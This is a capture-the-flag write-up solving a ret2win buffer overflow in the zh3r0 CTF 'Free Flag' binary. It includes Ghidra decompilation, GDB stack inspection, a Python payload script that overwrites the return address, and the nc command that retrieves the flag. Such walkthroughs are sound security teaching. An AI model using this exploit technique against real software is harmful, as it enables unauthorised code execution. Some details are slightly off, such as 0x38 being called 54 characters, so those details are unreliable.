free flag

by itsecgary / UMDCSEC

Tags: binaryexploitation bufferoverflow pwn

Rating:

Free Flag

Category: Binary Exploitation

Points: 124

Description:

> Welcome to zh3r0 ctf Here's your free flag
> pwn.zh3r0.ml 3456
> **Author:** hk
> **Given:** file: chall

Writeup

To start off, let's run the program and see if we can work with some input:

```
nc pwn.zh3r0.ml 3456
Welcome to zh3r0 ctf.
Please provide us your name:
itsecgary
```

Looks like we have to enter a *"name"* and it will give us the flag somehow. The next step here is to take a closer look at the binary file given to us. I will use **Ghidra** (tool from the NSA) to decompile the program.

Opening up our function list, we see some potential functions to take a peek at:

- main
- here
- winwin

Let's see what they have: **main:**

```
undefined8 main(EVP_PKEY_CTX *param_1) {
  init(param_1);
  here();
  return 0;
}
```

here

```
void here(void) {
  ssize_t sVar1;
  undefined local_28 [32];

  puts("Welcome to zh3r0 ctf.");
  puts("Please provide us your name: ");
  sVar1 = read(0,local_28,0x38);
  if (sVar1 == 0) {
    puts("Unlucky:-------- ): ");
                    /* WARNING: Subroutine does not return */
    exit(-1);
  }
  return;
}
```

winwin

```
void win_win(void) {
  system("cat flag.txt");
  return;
}
```

Looking at these functions we see that main() calls here() so our function here really starts in here(). In here() we see that it takes in an input of 0x38 size, which is a maximum of 54 characters accepted. After that, it doesn't really do much besides exit the program. Hmmmm...

Our winwin() function looks like it gives us the flag, which sets out goal to be able to run the code in that function. This is where we can use a **buffer overflow**. Now, if you don't know what that is, watch the videos linked down below to get a little understanding of what it is and how it works.

At this point, I used **GDB** to help me look at the stack during execution. For the input, I will use a string of characters to help me determine the length I need to set my payload and where I will need to inject the address to the winwin() function.

alphabet

```
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZ
Z
```

To start, I am going to set a breakpoint at the return value of main (practically the end of the program). After this, I will define a hook to display the current instruction that will be executed and examine 16 words from the stack.

```
(gdb) disassemble main
Dump of assembler code for function main:
   0x00000000004007d9 <+0>:     push   %rbp
   0x00000000004007da <+1>:     mov    %rsp,%rbp
   0x00000000004007dd <+4>:     mov    $0x0,%eax
   0x00000000004007e2 <+9>:     callq  0x40076e <init>
   0x00000000004007e7 <+14>:    mov    $0x0,%eax
   0x00000000004007ec <+19>:    callq  0x40071a <here>
   0x00000000004007f1 <+24>:    mov    $0x0,%eax
   0x00000000004007f6 <+29>:    pop    %rbp
   0x00000000004007f7 <+30>:    retq
End of assembler dump.

(gdb) break *0x00000000004007f7
Breakpoint 1 at 0x4007f7

(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/1i $rip
>x/8wx $rsp
>end
```

Now I will run through the program with what we came up with above.

```
(gdb) r
Starting program: /home/gary/ctfs/zh3r0_CTF2020/binary_exploitation/free_flag/chall
Welcome to zh3r0 ctf.
Please provide us your name:
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZ
Z

Program received signal SIGSEGV, Segmentation fault.
=> 0x40076d <here+83>:  retq
0x7fffffffe128: 0x4b4b4b4b      0x4c4c4c4c      0x4d4d4d4d      0x4e4e4e4e
0x7fffffffe138: 0xff5c70b3      0x00007fff      0xff7dd620      0x00007fff
0x000000000040076d in here ()
(gdb) OOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
Undefined command: "OOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ".  Try "help".
```

Hmm okay interesting. Looks like it only accepted up to our N's *(0x4e)*. But the interesting thing here is that we can set the new return address to be whatever we want where the K's *(0x4b)* are.

Let's change our input here a little bit. Next thing to do is grab the address of the win_win() funciton where it begins.

```
(gdb) disassemble win_win
Dump of assembler code for function win_win:
   0x0000000000400707 <+0>:     push   %rbp
   0x0000000000400708 <+1>:     mov    %rsp,%rbp
   0x000000000040070b <+4>:     lea    0x172(%rip),%rdi        # 0x400884
   0x0000000000400712 <+11>:    callq  0x4005d0 <system@plt>
   0x0000000000400717 <+16>:    nop
   0x0000000000400718 <+17>:    pop    %rbp
   0x0000000000400719 <+18>:    retq
End of assembler dump.
```

I wrote a few lines of code to let us encode the function address into chars.

```
import struct

padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJ"
eip = struct.pack("I", 0x0040070b)
payload = struct.pack("I", 0x00000000)
print(padding+eip+payload)
```

alphabet

```
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��@
```

Let's give this a shot.

```
$ ./chall < alphabet
Welcome to zh3r0 ctf.
Please provide us your name:
cat: flag.txt: No such file or directory
```

NICE! Looks like it reaches the part of the code where it returns the flag. Let's connect to the service and get this flag.

```
$ nc pwn.zh3r0.ml 3456 < alphabet
Welcome to zh3r0 ctf.
```

```
Please provide us your name:
zh3r0{welcome_to_zh3r0_ctf}
```

Flag

zh3r0{welcome_to_zh3r0_ctf}

Resources

Ghidra - https://ghidra-sre.org/

Videos

- https://www.youtube.com/watch?v=akCce7vSSfw
- https://www.youtube.com/watch?v=HSlhY4Uy8SA&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN
- https://www.youtube.com/watch?v=1S0aBV-Waeo

These videos really helped me understand how buffer overflows occur and how to exploit them :)

Original writeup (https://github.com/itsecgary/CTFs/tree/master/ZH3R0CTF%202020/Free%20Flag).

Comments